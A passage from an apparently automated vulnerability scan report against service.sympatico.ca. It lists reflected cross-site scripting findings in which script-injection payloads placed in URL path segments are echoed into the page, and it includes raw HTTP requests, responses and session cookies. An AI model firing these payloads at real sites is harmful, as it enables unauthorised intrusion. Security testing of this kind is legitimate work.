li%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:01 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.cfjs.jsa5c6a"><script>alert(1)</script>48b3e8903ec" />
...[SNIP]...

2.202. http://service.sympatico.ca/js/jquery.clickorenter.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.clickorenter.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3ae8"><script>alert(1)</script>493cbe68cf1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsf3ae8"><script>alert(1)</script>493cbe68cf1/jquery.clickorenter.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:27 GMT
Connection: close
Set-Cookie: SMSESSION=22ZJWKNyDl4qdQa9aQm0sV5SG2h7Yv4WoT4TWa/HGsgZVSiNVo1BD1TnkX9HYLUlspDTYkje/DtOPBWczpssRg7iALCj5hLyiLFZERZhfL7TrWq++cHg1qwc319Eix4SkC11U266/gv0MW73XBCXoJabeJt24Ss8l6IFWLGbHFoqVUgr/w8Eq3GmyOOkGYo0ebhNikUKuhLrpyvUcQQqbd3lfpKgciAEMkuVuqBy7aP5z/T1uyH6BU4ONov3xQDYndDgshL8HzcBoEN/TqOJvxNqpEE7artm3Mc0BVa6WZCuN1DVs7jV3Q==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:27 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:27 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:27 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:27 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsf3ae8"><script>alert(1)</script>493cbe68cf1/jquery.clickorenter.js" />
...[SNIP]...

2.203. http://service.sympatico.ca/js/jquery.clickorenter.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.clickorenter.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a05e9"><script>alert(1)</script>f43cf7fbef1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.clickorenter.jsa05e9"><script>alert(1)</script>f43cf7fbef1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:29 GMT
Connection: close
Set-Cookie: SMSESSION=wAA8NmDbBNQI+tNuDtpSePwvUCE5qLRJllkSazOZB8qAv3d/aYAJhLX9lW+FjXcaoTnpMDiHex7t80a2uUyQAz/lDjut3m3T/B1nJHLuwqn1sVXNJYVEMBBZC6OvQ0Ix0JlcrxQh819lM45E/JyslTE/Hlxc8KwPDnvW3YU/HsssPnf7nEyLr6wlua6df/aTXh9I2XC61BRsFzDuw1mCiPat7yU1jN2bzM6nWU4uYtBxiL6ArkzG9Mvr51LFp1XhQOCFOJx3Zlzgb6/oGeKmSBRHAneCFNOufRsAr8DzExNE5/jq/wTWhg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:29 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:29 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:29 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:29 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:29 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.clickorenter.jsa05e9"><script>alert(1)</script>f43cf7fbef1" />
...[SNIP]...

2.204. http://service.sympatico.ca/js/jquery.cookie.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.cookie.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ae9d"><script>alert(1)</script>f451a073dd5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js1ae9d"><script>alert(1)</script>f451a073dd5/jquery.cookie.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:27 GMT
Connection: close
Set-Cookie: SMSESSION=DhBn7ylSeN/nJd+2pBQKtf0hzbycmetXhnFYXItMDsXmK4fOjrEaz26dTl/WMHKDAYMPJHOfCVlCVRGtSMfuV9m9LUHKUTU0kdVYX+P8cuq1THbOBL0WvvOLUWlDlQ61OAMWYzY799P5tkkCE+Z1bkcM60kNzLS9doDa/prn/elaKk1uOeqEQcdrtR5gt3ZQR7avl+YG/g66Hp6B5INiTjqY11HEnz991dFLoxM8Ae7ayNZOD0iMknghzjDkgjbv2K1EyCC41hwVi9GT78HGgBnjMsn4DJ982kRuB9B/ayctdDmT4q6DpA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:27 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:27 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:27 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:27 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%